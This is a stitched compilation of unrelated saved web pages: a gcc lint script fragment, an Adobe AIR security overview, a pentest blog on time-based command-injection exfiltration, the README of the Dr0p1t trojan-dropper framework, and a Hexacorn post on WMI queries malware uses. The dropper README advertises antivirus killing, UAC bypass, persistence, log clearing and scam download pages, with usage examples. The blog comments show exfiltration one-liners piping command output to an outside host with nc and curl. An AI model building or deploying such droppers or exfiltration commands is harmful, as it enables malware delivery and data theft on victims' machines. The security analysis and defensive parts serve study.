    #   NB: much Solaris code won't work with -undef enabled.  
      
    : ${GLINT_GCC:='gcc'}  
      
    : ${GLINT_ANSI='-ansi'}  
    : ${GLINT_FNO_COMMON='-fno-common'}  
    : ${GLINT_FSHORT_ENUMS='-fshort-enums'}  
    : ${GLINT_PEDANTIC='-pedantic'}  
    : ${GLINT_UNDEF='-undef'}  
    : ${GLINT_W='-W'}  
    : ${GLINT_WAGGREGATE_RETURN='-Waggregate-return'}  
    : ${GLINT_WALL='-Wall'}  
    : ${GLINT_WCAST_ALIGN='-Wcast-align'}  
    : ${GLINT_WCAST_QUAL='-Wcast-qual'}  
    : ${GLINT_WCONVERSION='-Wconversion'}  
    : ${GLINT_WMISSING_DECLARATIONS='-Wmissing-declarations'}  
    : ${GLINT_WREDUNDANT_DECLS='-Wredundant-decls'}  
    : ${GLINT_WMISSING_PROTOTYPES='-Wmissing-prototypes'}  
    : ${GLINT_WNESTED_EXTERNS='-Wnested-externs'}  
    : ${GLINT_WPOINTER_ARITH='-Wpointer-arith'}  
    : ${GLINT_WSHADOW='-Wshadow'}  
    : ${GLINT_WSTRICT_PROTOTYPES='-Wstrict-prototypes'}  
    : # ${GLINT_WTRADITIONAL='-Wtraditional'}  
    : ${GLINT_WWRITE_STRINGS='-Wwrite-strings'}  
      
    exec ${GLINT_GCC} \  
        ${GLINT_ANSI} \  
        ${GLINT_FNO_COMMON} \  
        ${GLINT_FSHORT_ENUMS} \  
        ${GLINT_PEDANTIC} \  
        ${GLINT_UNDEF} \  
        ${GLINT_WAGGREGATE_RETURN} \  
        ${GLINT_WALL} \  
        ${GLINT_WCAST_ALIGN} \  
        ${GLINT_WCAST_QUAL} \  
        ${GLINT_WCONVERSION} \  
        ${GLINT_WMISSING_DECLARATIONS} \  
        ${GLINT_WREDUNDANT_DECLS} \  
        ${GLINT_WMISSING_PROTOTYPES} \  
        ${GLINT_WNESTED_EXTERNS} \  
        ${GLINT_WPOINTER_ARITH} \  
        ${GLINT_WSHADOW} \  
        ${GLINT_WSTRICT_PROTOTYPES} \  
        ${GLINT_WTRADITIONAL} \  
        ${GLINT_WWRITE_STRINGS} \  
        ${GLINT_W} \  
        ${GLINT_EXTRA_FLAGS} \  
        -o /dev/null -O4 -g -c $*
[/code]

# Introducing the Adobe AIR security model | Adobe Developer Connection
**Created:**| _1/5/2011 1:04:50 PM_  
---|---  
**Updated:**| _1/5/2011 1:05:20 PM_  
**Author:**| __  
**Tags:**| _bookmark security policies LOLZ_  
  

# Introducing the Adobe AIR security model

## by Lucas Adamski

## Requirements

### User level

Intermediate

My goal in this document is to provide a high-level overview of the AIR
security model, and the rationale behind it.

**Note:** For more information about the set of security rules and controls in
Adobe AIR that help safeguard users and application developers, refer to the
Adobe AIR 1.0 Security white paper. Also see the AIR security chapter in the
developer's guide for ActionScript and HTML/JavaScript developers.

### Adobe AIR and the desktop

Adobe AIR allows developers to use their existing web development skills in
HTML, Ajax, Flash, and Flex to build and deploy desktop applications. Although
these applications may be based upon web technologies, it is important to keep
in mind that the end result is a desktop application, and as such the primary
security model for AIR is that of a desktop application, rather than a web
application.

A desktop application has certain characteristics. On the one hand, desktop
applications generally have a lot more privileges than a similar web
application, as they have been installed by the user to a specific desktop
machine, implying a degree of trust that is greater than that of arbitrary web
content. On the other hand, the privileges inherent in a desktop application
require a greater degree of caution as certain coding practices and patterns
that may be common in web applications may never be acceptable in a desktop
application.

### AIR sandboxes

AIR applications can be built using a combination of Flash and HTML/Ajax. AIR
applications can also leverage PDF for document rendering, although an AIR
application cannot be based upon a PDF file alone.

Regardless of whether an application is built primarily in Flash or HTML, all
AIR applications have some characteristics in common. Within a given AIR
application, there is a set of AIR specific APIs that are available to provide
access to local system and network resources that would not be normally
available in a web application contained in a browser. Each AIR application
also contains a number of different sandboxes, depending on what type of
content is being loaded, and for what purpose:

  * **Application sandbox** is the root of every AIR application. This sandbox permits access to the privileged AIR specific system APIs. In return for access to these powerful APIs, some common dangerous APIs and patterns are restricted. For example, dynamic importing of remote content is generally prohibited and dynamic code generation techniques are heavily restricted. Only content loaded directly from the application home directory \(via the `app:/ URI` scheme\) can be placed in the application sandbox.
  * **Non-application sandbox** contains all other content that is not loaded directly into the application sandbox. This includes local and remote content. Such content does not have direct access to AIR APIs and obeys the same rules that it would have to obey in the browser when loaded from the same location \(for example, a local SWF file behaves the same way a local SWF file would in the browser, and HTML from a remote domain behaves like it would behave in the browser\).

For more information on AIR sandboxes, refer to the Sandboxes section of the
AIR developer's guide for HTML developers.

### Differences between desktop and web application security

There are a number of design and implementation patterns common to web
applications that are too dangerous to be combined with the local system
access inherent in the AIR application sandbox. In a desktop application, the
user grants system access \(albeit sometimes unknowingly\) to the application
by downloading and then installing and running the application. This in theory
allows the user to inspect and approve the application before installing or
running it for the first time.

This in return limits the ability of the application to extend itself by
silently and dynamically installing additional components or running code
loaded from a remote server. For example, a fundamental desktop practice is to
inform the user when downloading and installing updates, plug-ins, or other
extensions to an installed application. Even applications that appear to do
this automatically give some notice to the user, as well as providing a
configuration option to disable automatic updates. When apps attempt to bypass
this user consent, they run the risk of being labeled a privacy threat, if not
a security vulnerability, which is why runtime script importing of remote
content has been disabled in the application sandbox.

Imagine a scenario where your desktop application automatically imports some
script from your website every time it runs, perhaps to render today's stock
charts or to provide the latest application functionality. In the event that
your server is compromised, or if you do not perform that code loading very
diligently \(that is, sign the script with your certificate and subsequently
verify the validity of the signature\), then an attacker could take over every
machine that runs your application simply by compromising the server hosting
that one script. So the user deciding to install a given application does not
automatically grant the right to that application to download and execute
additional code without additional, explicit user consent.

Another concern lies with practices that, while they may not be intended to
load external code or script, permit injection of remote script \(commonly
known as _cross-site scripting or XSS_\) where the developer never intended.
The `eval()` function in JavaScript is a common example of this. `eval()` is
often used to generate code from templates combined with data potentially
loaded from a remote domain. Unless the developer is extremely diligent in
scrubbing loaded data for every possible form of code injection, then any such
data containing malicious code could compromise the user's system if
`eval()`'ed in the application sandbox. This is why using `eval()` and similar
APIs to generate code at runtime in the application sandbox is prohibited.

Finally, using any remote data in AIR specific APIs should be done with
extreme care. For example, if a remote server can provide a file name and file
contents for the application to download, it could write the file to a
sensitive area of the file system, possibly resulting in installation of a
malicious rootkit. This may seem farfetched, but it is a common mistake that
is easily made, even when you believe you have exercised sufficient care.
Suppose you have built an application that allows the user to browse and save
photos from a remote server. At some point, your application would probably
provide a function that looks something like this:

`savePhoto(var filename, var content);`

You may even take the extra step of ensuring that you provide a root
directory—for example, `C:\Photos`— that you prepend to the file name
variable. So imagine if the data provided by the remote server is something
like this:

`filename = "sailboat.jpg" content = <contents of an actual JPEG>`

Your code prepends `C:\Photos`, resulting in:

`filename = "C:\Photos\sailboat.jpg"`

Looks pretty good, right? But what happens if the remote server provides you
instead with:

`filename = "..\Windows\notepad.exe" content = <contents of an EXE rootkit>`

When you prepend your root directory to the file name, you end up with:

`Filename = "C:\Photos\..\Windows\notepad.exe"`

This will still overwrite the Notepad application in the Windows directory,
and end up executing the rootkit the next time the user attempts to run
Notepad. This is a simple example, but it illustrates how easy it can be to
make such a mistake.

For additional information, see the sections "Best security practices for
developers" and "Writing to disk" of the AIR developer's guide for
ActionScript developers.

### HTML security considerations

The security model for the HTML application sandbox in AIR varies
significantly from the sandbox available in the browser. The reason behind
this is there are a number of design and implementation patterns common to
HTML web applications that are too dangerous to be combined with the local
system access inherent in the AIR application sandbox.

Patterns such as remote script importing and use of dynamic script generation
via `eval()` and injection of code into innerHTML and outerHTML DOM
elements—while already very dangerous—are very common in HTML applications.
Their familiarity unfortunately does not make these practices acceptable in
the application sandbox in AIR. As such, you will notice significant
restrictions when trying to import script or generate code dynamically in the
application sandbox. If you really need to implement such potentially risky
runtime patterns, you will have to do so in a non-application sandbox \(see
below\).

There are characteristics of the HTML security model that can be surprising.
For example, the most granular security sandbox is an entire frame \(whether
frame, iframe, or window\). This means that all code within a given frame is
in the same sandbox and has exactly the same privileges, regardless of how it
was loaded into that frame. As far as the browser \(or AIR\) is concerned, it
can't really tell the difference between code that is originally part of the
page versus code that is imported from outside the page versus code that is
generated by an `eval()` function. This means that the only way to safely
handle trustworthy and untrustworthy content is to separate them into
different frames or sandboxes.

For more information, see the "HTML security" section of the AIR developer's
guide for HTML developers and the HTML security FAQ.

### Interacting with different sandboxes

Due to the restrictions placed upon dynamic coding and script importing, the
application sandbox is generally the safest sandbox to place your application
code into as the risk from injection attacks is greatly diminished compared to
the typical browser sandbox. However, there may be cases where developers
still need to use these risky techniques in their applications—for example,
when interacting with web services that only support JSON non-compliant
JavaScript APIs.

The recommended technique in these cases is to create a non-application
sandbox to perform the risky operations, and then interact with that sandbox
via the SandboxBridge API. The SandboxBridge is a bi-directional serialization
API designed to allow domains/sandboxes that otherwise cannot trust each other
entirely to interact.

Application extensions such as plug-ins are best implemented via the
SandboxBridge. After obtaining user consent, you can store the plug-in in a
non-application location \(such as `app-storage:`\) and load it into a non-
application sandbox. By exposing a well-defined plug-in API \(much like the
NPAPI does for most browser plug-ins\), you can safely interact with your own
plug-ins, or even third-party plug-ins developed for your application, without
trying to import them into your application sandbox. In addition to being
safer from a security standpoint, this type of well-defined plug-in API is a
more stable solution, reducing the chances of plug-in breakage with subsequent
updates to your application.

Note that the SandboxBridge is not fail-safe. Code in the application sandbox
should not expose any APIs via the SandboxBridge that are not safe to be
called by any arbitrary remote code. As such, you should not expose any system
or sensitive application APIs directly via the SandboxBridge.

However, you could expose, for example, the `eval()` function from a non-
application sandbox back into the application sandbox, as any code
subsequently evaluated within the exposed `eval()` function then will be
executed within the context of the non-application sandbox. This would not
permit access to sensitive APIs or application data \(unless you had expose
those already to that particular non-application sandbox\). As general
guidance, it is usually ok to expose functions and data from a non-application
sandbox into the application sandbox, but potentially risky to expose
functions and data from the application sandbox into a non-application
sandbox. Thus, if you want to use a specific non-application sandbox for these
risky practices, you should not use it for anything remotely trustworthy or
provide it with any sensitive APIs or data.

For additional guidance regarding usage of the SandboxBridge, see the "Working
securely with untrusted content" section of the AIR developer's guide for HTML
developers.

### Installation of AIR applications

AIR applications are usually installed in one of two ways:

  * Via a web browser using a seamless install badge feature
  * By opening a .air application installer file after it has been copied to the local computer

These two scenarios always use the AIR application installation experience,
which is largely the same for all applications. The only significant
differences in experience are determined by whether your application has been
signed by a commercial, recognized code-signing certificate or a free, self-
signed certificate.

Both workflows involved the download of a .air file, which is really just an
in-order ZIP file that can contain HTML, SWF, JavaScript and any other types
of files. As such, most existing security tools should be able to inspect the
.air file itself, or the files that are extracted during the installation
process and at runtime.

For an example of the seamless install badge experience, see the article
Distributing Adobe AIR applications via the Web in the Adobe AIR Developer
Center.

### Signing of AIR applications

All AIR applications must be signed by a code-signing certificate. The only
question is whether the certificate in question is what is commonly know as a
_self-signed_ certificate, which means that it is not recognized as being
trustworthy by a typical user's machine \(unless the user chooses to import
that specific certificate into his or her certificate trust store\), or a
commercial code-signing certificate purchased from a major certification
authority \(CA\).

The recommended approach is to use a commercially obtained code-signing
certificate, as that will be recognized by the AIR installer on almost all
user machines. This permits the name of the publisher to be recognized and
provides a better installation experience for the user.

For detailed information regarding code signing for AIR applications, please
refer to the section "Developing AIR applications with Adobe Flex 3" of the
Adobe developer's guide for ActionScript developers as well as Todd Prekaski's
article, Digitally signing Adobe AIR applications, and Oliver Goldman's Code
signing in Adobe AIR.

### Conclusion

Being a desktop application runtime, the AIR security model is significantly
different from the web browser security model. The application sandbox in AIR
provides direct access to system APIs, but in return a number of APIs have
been restricted or outright prohibited. Specifically, importing of non-
application \(that is, not loaded via `app:/`\) content and dynamic generation
of code within the application sandbox is heavily restricted.

In many cases, frameworks and existing code will work with little or no
modification in the application sandbox. However, in some cases the developer
will have to perform high-risk operations \(such as importing of remote
JavaScript\) in a non-application sandbox, then carefully expose the resulting
code and data back to the application sandbox via the SandboxBridge API.

However, the privileges inherent in a full desktop application mean the
developer can sometimes find ways around these restrictions. The reality is
that doing so will almost certainly introduce a large amount of security risk
into the application and for the end users of the application. Thus Adobe
strongly recommends that developers stay within the restrictions placed by the
AIR security model, and carefully consider the cost of implementing rigorous
security mitigations for bypassing them. In most cases the development cost of
these mitigations will significantly exceed the cost of finding an alternative
solution that stays within the bounds of the security model.

# Exploiting Timed Based RCE

**Created:**| _6/29/2017 3:57:37 PM_  
---|---  
**Updated:**| _6/29/2017 3:57:37 PM_  
**Author:**| __  
**Tags:**| __  
  

  

## Exploiting Timed Based RCE

February 28, 2017Pobereznicenco Dan

<img src='img/timebasedassess1.jpg' width='300' height='199' alt='Checking the
time' />In a recent penetration testing project we encountered a situation
where in order to prove exploitability and possible damage we had to
exfiltrate data from an isolated server using an OS command injection time
based attack.

The scope of the project was an API. During the testing process we identified
an interesting GET request that received 2 parameters: the first a string and
the other one ID number.

By fuzzing the string parameter, at first, it looked like we had a potential
SQL injection, based on the way it handled single quotes. Trying this attack
vector didn’t seem successful, but when we sent the \` sleep 10\` command and
the HTTP response returned 10 seconds later, we knew we had something. Our
first thought was that this was game over for the application, we managed to
get a Remote Code Execution on the API server.

But something was not quite OK. We assumed from the response headers that the
API was hosted on a Windows platform, but the tried payload should only work
on Bash or PowerShell in some cases.

These where the possibilities at hand. We now had to test and find out if the
injection was in PowerShell or Bash.

We managed to clarify this by running a simple “if” statement, containing a
sleep command if the condition was evaluated to true.

<img src='img/if.png' width='505' height='205' alt='IF.PNG' />

With that out of our way, we tried to set up a way to interact with our
servers, but this was unsuccessful. We tried establishing TCP connections
using a number of tools like: ncat, wget, curl, but none seemed to work. We
then tried other exfiltration techniques like: FTP connection, DNS queries and
even ICMP packets but none seemed to work. We later found out that the server
we were accessing was in a private network isolated by firewall from or to the
outside world.

We could execute commands but we could not see the output of the command.

One colleague suggested that we could use the sleep command to guess char by
char the outputted value and also we could automate this task. This would work
just like getting the output from a time based SQL Injection.

Our first approach, in order to test if this could work and considering
network delay, was to make a script that uses a command to determine if the
letter in position X is equal to Y.

<img src='img/whoami1.png' width='635' height='258' alt='whoami.PNG' />

After running a simple script we got the whoami command output.

You can imagine that getting the output of command in this time based manner
proved to be a Sisyphean task. But this wasn’t the most annoying limitation.
We soon found out that our GET parameter was limited to only 48 characters,
and the payload exceeded the limit. Our method of bypassing this restriction
was to split and output the command that we wanted to execute in a temporary
file on the server, execute it and write the execution output to another file
that we will read the data from.

<img src='img/fromfile1.png' width='635' height='318' alt='fromfile.PNG' />

Using the payload above we are at exactly 48 characters in length but the
limitation hit again. If we want to extract more than 9 characters we can’t,
because we would exceed the limit.

After realizing that we can write files to the remote host piece by piece and
then execute that script to do a certain task, we started writing an
intermediary script that would help us, so by that we can execute shorter
commands.

Combining all these ideas we came up with a tool that does all those things.
Instead of using Bash we switched to Python. We also replaced the process of
guessing each character with guessing the ASCII value of the character, so in
this way we can save a lot of pointless requests.

### Why use this tool rather than all the existing ones?

We know you would recommend using commix in situations like these. Commix has
a lot of exfiltration techniques available, one of them even being Time Based.
It can also identify possible OS command injection vulnerabilities. But,
although it is a great tool, we could not use commix for 2 main reasons:

  * The payloads used by commix are very long and did not work in our case.
  * It is really very slow because of the approach used and it would have taken a lot of time to extract a whoami command output.

### How does the tool work?

The script has 3 parts:

  1. One script that allows guessing the length of the command output from the file \(length.py or length.bat\).
  2. One script that allows guessing the ASCII value of the character from the X position \(ascii.py or ascii.bat\).
  3. The main script that sends commands and analyses the responses times in order to determine true of false conditions.

The extraction process looks like this:

  1. Write the command output into a file
  2. Guess the command output length using the length.py script:

To guess the command output length, a few steps are followed:

**python ascii.py \{NUMBER\} \{IS\_GREATER\} \{WHERE\_THE\_OUTPUT\_IS\_AT\}
\{TIME\_DELAY\}**

  1. Is the output greater than 0? : **python l.py 0 0 0 4** => no delay detected, which means that it is true
  2. Is the output greater than 10?: **python l.py 10 0 0 4** => 4 seconds delay detected, which means this is false
  3. Is the output equal to 10?: **python l.py 10 1 0 4** => no delay detected, which means that is false
  4. Is the output equal to 9?: **python l.py 9 1 0 4** => 4 seconds delay detected, which means we found the output length

After we know the output length we can now proceed to guess the ASCII
characters codes. This task is done by ascii.py:**python ascii.py
\{CHAR\_POS\} \{ASCII\_VALUE\} \{IS\_GREATER\} \{WHERE\_THE\_OUTPUT\_IS\_AT\}
\{TIME\_DELAY\}**.

The guessing process is the same as guessing the length of command output.
Instead of guessing the length value, we guess the ASCII value of a specific
character.

Here are some print screens of the tool in action:  
<img src='img/tool.png' width='635' height='467' alt='tool.PNG' />

Extracting uname -a:

<img src='img/uname-a3.png' width='635' height='251' alt='uname-a3.PNG' />

<img src='img/uname-a4.png' width='635' height='246' alt='uname-a4.PNG' />

We further tried to extract /etc/password which had ~2863 in length and it
worked fine:<img src='img/etc_passwd.png' width='635' height='231'
alt='etc_passwd.PNG' />

To give it a try, you can use the following simple PHP script:

<img src='img/setup.png' width='635' height='382' alt='setup.PNG' />

The tool is available for download here:

https://github.com/dancezarp/TBDEx

Any suggestions are welcome.

### Share this:

  * Facebook
  * Twitter
  * LinkedIn99
  * Google
  * Reddit
  * 

 Like

Be the first to like this.

Ethical Hacking, Misc, Penetration Testing, Web securitydevelopment, os
injection, pentesting, SecTools, security testing

Previous Article Practical JSONP Injection

Next Article Going further with Responder’s Basic Authentication

###  15 thoughts on “Exploiting Timed Based RCE”

  1. **RST** March 2, 2017 / 11:43 pm
DNS exfiltration? Or HTTP?

Like

Reply

     * **BillyBoy** March 3, 2017 / 11:30 am
There is a mention in the article where it is specified that the server was
“isolated” from external communication, including DNS traffic.

Like

Reply

  2. Pingback: Exploiting Time Based RCE and Data Exfiltration – sec.uno
  3. **Popa** March 3, 2017 / 8:48 am
Did you try to write in a file located somewhere in the root path of the web
app? \(I mean the output of the OS commands\)  
Or to locate the username and database and try to change your account name
with information from the OS?

Like

Reply

     * **Juno Im** March 3, 2017 / 3:03 pm
Absolutely right. This way is more efficient.

Like

Reply

       * **Pobereznicenco Dan** March 3, 2017 / 3:39 pm
That’s a brilliant idea but unfortunately only the API server can access the
isolated machine from the local network, we are not executing code directly to
the vulnerable server, the API server sends the request to the vulnerable
machine, so we can not have any direct output.

Like

  4. Pingback: Exploiting Timed Based RCE
  5. **Juno Im** March 3, 2017 / 3:01 pm
If you have arbitrary executing code in webpage, how about executing like
this?

ls -al | nc myserver port / ls -al | curl -S http://myserver.com:port/
I think it is more efficient.

Like

Reply

     * **Pobereznicenco Dan** March 3, 2017 / 3:17 pm
It is really efficient but I already mentioned in the article that the
scenario is a vulnerable server that doesn’t have any access from inside to
outside, that was the whole idea of the tool and the article.

Like

Reply

       * **Juno Im** March 3, 2017 / 3:46 pm
I have same idea with rop technique.

Like

       * **Pobereznicenco Dan** March 3, 2017 / 3:51 pm
Could you expand more about this?

Like

  6. **Bob** March 3, 2017 / 3:37 pm
For the ‘guessing ascii codes’ part you may save sometime by exfilling \(a new
word?\) via a base64\(gzip\(data\)\) approach.

For /etc/password it worked out as twice as quick for me.

You could do a binary search \(greater than/less than\) at each character. So
if the first char was 6 it might do 8, 4, 6.

Like

Reply

     * **Pobereznicenco Dan** March 3, 2017 / 3:47 pm
That’s a very good idea, maybe you can create a pull request and i will merge
it to the main branch. I think this can be used for big outputs, for smaller
outputs i think it’s enough the ASCII method.  
Thank you very much\!

Like

Reply

  7. Pingback: IT Security Weekend Catch Up – March 4, 2017 – BadCyber
  8. Pingback: 半月安全看看看第三期 – 安全0day

### Leave a Reply

  

# D4Vinci/Dr0p1t-Framework

**Created:**| _7/17/2017 11:14:06 AM_  
---|---  
**Updated:**| _7/17/2017 11:14:06 AM_  
**Author:**| __  
**Tags:**| _post-exploitation_  
  

  

# Dr0p1t-Framework <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f52656c656173652d535441424c452d627269676874677265656e2e737667'
width='104' height='20' alt='Stage' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f507974686f6e2d332e352d79656c6c6f772e737667'
width='76' height='20' alt='Python 3.5' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f507974686f6e2d322e372d79656c6c6f772e737667'
width='76' height='20' alt='Python 2.7' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f56657273696f6e2d312e332d7265642e737667'
width='78' height='20' alt='Build Status' />

###### \*\*\* Version 1.3 , see CHANGELOG.md file \*\*\*

Have you ever heard about trojan droppers ? In short dropper is type of
trojans that downloads other malwares and Dr0p1t gives you the chance to
create a stealthy dropper that bypass most AVs and have a lot of tricks \(
Trust me :D \) ;\)

# Features

**\+ Generated executable properties:**

  * The executable size is smaller compared to other droppers generated the same way.
  * Download executable on target system and execute it silently..
  * Self destruct function so that the dropper will kill and delete itself after finishing it work
  * Escape disk forensics by making all the files dropper create and dropper also cleans its content before deletion
  * Clear event log after finishing.

**\+ Framework properties:**

  * Works with Windows, Linux and now have OSX support \( Thanks to @sm4sh3r \)
  * Dr0p1t-Server feature \(beta\) so now you can work from browser See how to work with Dr0p1t-Server
  * Dr0p1t-Server have a scam option \(beta\) See how to work with Dr0p1t-Server

**\+ Modules:**

  * Find and kill antivirus before running the malware.
  * The ability to disable UAC.
  * The ability to run your malware as admin.
  * Full spoof by spoofing the file icon and extension to any thing you want.
  * ZIP files support so now you can compress your executable to zip file before uploading.
  * Running a custom \( batch|powershell|vbs \) file you have chosen before running the executable
  * In running powershell scripts it can bypass execution policy
  * Using UPX to compress the dropper after creating it

**+Persistence modules:**

  * Adding executable after downloading it to startup.
  * Adding executable after downloading it to task scheduler \( UAC not matters \).
  * Adding your file to powershell user profile so your file will be downloaded and ran every time powershell.exe run if it doesn't exist.

# Screenshots

## On Windows

<img src='img/WinTest-1.JPG.jpg' width='100%' height='758' />

See more

## On Linux \(Kali linux\)

<img src='img/LinuxTest-1.png' width='100%' height='676' />

See more

## On OSX

Still not fully tested\! Need some contributors and testers 😄

### Help menu

[code]

    Usage: Dr0p1t.py Malware_Url [Options]
    
    options:
    -h, --help      show this help message and exit
    -s              Add your malware to startup (Persistence)
    -t              Add your malware to task scheduler (Persistence)
    -a              Add your link to powershell user profile (Persistence)
    -k              Kill antivirus process before running your malware.
    -b              Run this batch script before running your malware. Check scripts folder
    -p              Run this powershell script before running your malware. Check scripts folder
    -v              Run this vbs script before running your malware. Check scripts folder
    --runas         Bypass UAC and run your malware as admin
    --spoof         Spoof the final file to an extension you choose.
    --zip           Tell Dr0p1t that the malware in the link is compressed as zip
    --upx           Use UPX to compress the final file.
    --nouac         Try to disable UAC on victim device
    -i              Use icon to the final file. Check icons folder.
    --noclearevent  Tell the framework to not clear the event logs on target machine after finish.
    --nocompile     Tell the framework to not compile the final file.
    --only32        Download your malware for 32 bit devices only
    --only64        Download your malware for 64 bit devices only
    -q              Stay quite ( no banner )
    -u              Check for updates
    -nd             Display less output information
    
[/code]

### Examples

[code]

    ./Dr0p1t.py Malware_Url [Options]
    ./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
    ./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
    ./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
    ./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip
    
[/code]

# Prerequisites

  * Python 2 or Python 3.

> The recommended version for Python 2 is 2.7.x , the recommended version for
> Python 3 is 3.5.x and don't use 3.6 because it's not supported yet by
> PyInstaller
### Needed dependencies for Linux

  * apt
  * Others will be installed from install.sh file

> Note : You must have root access
### Needed dependencies for windows

  * pip
  * Modules in windows\_requirements.txt

# Installation

  * On Linux

[code]

    git clone https://github.com/D4Vinci/Dr0p1t-Framework.git
    chmod 777 -R Dr0p1t-Framework
    cd Dr0p1t-Framework
    sudo chmod +x install.sh
    ./install.sh
    python Dr0p1t.py
    
[/code]

  * On Windows \(After downloading ZIP and upzip it\)

[code]

    cd Dr0p1t-Framework-master
    python -m pip install -r windows_requirements.txt
    python Dr0p1t.py
    
[/code]

> Note : in python 2.7 you don't have pip so install it first from get-pip.py
> script \[Google it\]
### Tested on:

  * Kali Linux - SANA
  * Ubuntu 14.04-16.04 LTS
  * Windows 10/8.1/8

# Work with Dr0p1t-Server

> Note : Server is still in beta version and it have a lot of features to add
> and also a better design \[ Need a designer to contribute :D \]
## Prerequisites

  * Stable internet connection.
  * Port 5000 not used and firewall configured to not block connection from it

## Installation & run server

On Linux and Windows it's the same after installing Dr0p1t by doing the steps
mentioned above, install modules in server\_requirements.txt by using pip like
:

[code]

    python -m pip install -r server_requirements.txt
    
[/code]

Now let's run our server script :

[code]

    python Dr0p1t_Server.py
    
[/code]

After running the server script, it will start to listen to all the connection
coming to port 5000 using flask.

Now to use the server from your device open in browser either 127.0.0.1:5000
or \[Your IP\]:5000.

To open it from other devices in LAN open \[Your Local IP\]:5000 and for other
devices in WAN open \[Your Global IP\]:5000 but make sure first that you
configured you router to forward port 5000 connection to you.

After opening the serve page you will see a simple website with a simple
design asking you for data needed See server screenshots

Then submit the data then it will be verified through some processes then the
exe file will be generated and you will be redirected to page telling you the
scam link.

After entering the link you will see a scam to download the dropper which it
by default Adobe flash download page. To replace the scam with yours replace
the file "Scam.html" content with yours but remember the variables \( Don't
remove it \).

## Server screenshots

<img src='img/LinuxServerTest-1.png' width='100%' height='404' /> <img
src='img/LinuxServerTest-2.png' width='100%' height='490' /> <img
src='img/LinuxServerTest-3.png' width='100%' height='344' /> <img
src='img/LinuxServerTest-4.png' width='100%' height='501' />

See more for Windows See more for Linux

# No distribute scan \( Please don't scan with virus total:3 \)

<img src='img/nodistribute_scan.png' width='100%' height='908' />

## Todo Check out this link

## Contact

  * Twitter

## Disclaimer

Dr0p1t Framework not responsible for misuse and for illegal purposes. Use it
only for Pentest or educational purpose \!\!\!

Copying a code from this framework or using it in another tool is accepted as
you mention where you get it from 😄

> Pull requests are always welcomed :D
  

# Hexacorn | Blog
**Created:**| _6/22/2015 10:55:09 AM_  
---|---  
**Updated:**| _6/22/2015 10:55:09 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis windows environment_  
  

# Hexacorn | Blog
WMI is an important component of Windows OS and everyone knows about it so I
won’t get into detail about what it is \(read the linked wikipedia article if
you want to know\). I will focus on practical stuff instead which we come
across more and more often.

I will begin by saying that nowadays lots of malware is using WMI – either to
establish a stealthy persistence mechanism, or query various information from
the system. This typically is done using WQL queries which are so popular that
even a couple of typical OS commands are implemented as ‘processors’ simply
interpreting results of many WQL queries instead of actually using old-school
APIs.

A good example is a tasklist.exe. If you ever launched it from a command line
and observed a slight delay before it returned the data it is because it has
to ‘talk’ to WMI first and sometimes WMI initialization may take a while.

This particular program is actually a good example we can use to show what
exactly happens when it ‘talks’ to WMI.

Have a look at the Tasklist.exe log below.

  * First WMI connects to the WMI server – the ‘root\cimv2′ is a namespace used by most WMI classes
  * Then it executes the WQL query

[code]

         SELECT 
            __PATH,
            ProcessId, 
            CSName, 
            Caption, 
            SessionId, 
            ThreadCount, 
            WorkingSetSize, 
            KernelModeTime, 
            UserModeTime  
         FROM 
            Win32_Process
[/code]

  * Then the result returned by the query is processed using the IWbemClassObject::Get method
  * Finally, this obtained data is sent to the the console using a WriteConsoleW function

Apart from tasklist.exe, we can also find WQL in taskkill.exe.

Killing a process requires a different query, one that specifies f.ex. a name
of the process:

[code]

         SELECT
            __PATH,
            ProcessId,
            CSName,
            Caption,
            SessionId,
            ThreadCount,
            WorkingSetSize,
            KernelModeTime,
            UserModeTime,
            ParentProcessId
         FROM
            Win32_Process
         WHERE
            (  Caption = "notepad.exe")
[/code]

which is ran when we execute

[code]

    taskkill.exe /im notepad.exe /f
[/code]

The WMI is then queried for a method ‘Terminate’ which is supposed to kill the
object. All of these queries are ran via COM so it’s a bit of a pain to
analyze it, but once you get used to it it’s actually manageable \(just a bit
mundane\).

Refer to a short Taskkill.exe log below.

As I mentioned above, malware often uses WQL queries and the most popular are
listed below:

  * select \* from antispywareproduct
  * select \* from antivirusproduct
  * select \* from firewallproduct
  * select \* from win32\_baseboard
  * select \* from win32\_bios where manufacturer like ‘%xen%’ or \(smbiosbiosversion like ‘%vbox%’\) or \(smbiosbiosversion like ‘%bochs%’\) or \(smbiosbiosversion like ‘%qemu%’\) or \(smbiosbiosversion like ‘%virtualbox%’\)
  * select \* from win32\_bios
  * select \* from win32\_cdromdrive
  * select \* from win32\_computersystem
  * select \* from win32\_computersystemproduct
  * select \* from win32\_diskdrive
  * select \* from win32\_networkadapter where \(name like ‘%tap%’\) and \(not pnpdeviceid like ‘%\*isatap%’\) and \(netenabled = true\)
  * select \* from win32\_onboarddevice
  * select \* from win32\_operatingsystem
  * select \* from win32\_physicalmedia
  * select \* from win32\_processor
  * select \* from win32\_systemenclosure
  * select \* from win32\_useraccount
  * select \* from win32\_videocontroller
  * select name, executablepath from win32\_process

There are many more which often focus on sandbox detection, but I may cover
them in a separate post.

**Taskkill.exe log**

IWbemLocator::ConnectServer: ‘root\cimv2′  
IWbemServices::ExecQuery: \(‘SELECT \_\_PATH, ProcessId, CSName, Caption,
SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime,
ParentProcessId FROM Win32\_Process WHERE \( Caption = “notepad.exe”\)’\)  
IWbemServices::GetObjectA: Win32\_Process  
IWbemClassObject::GetMethod: Terminate

**Tasklist.exe log**

[code]

    WbemLocator::ConnectServer): 'root\cimv2'
    IWbemServices::ExecQuery ('SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime  FROM Win32_Process')
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="0"
    IWbemClassObject::Get: ProcessId=0
    IWbemClassObject::Get: CSName=<hostname>
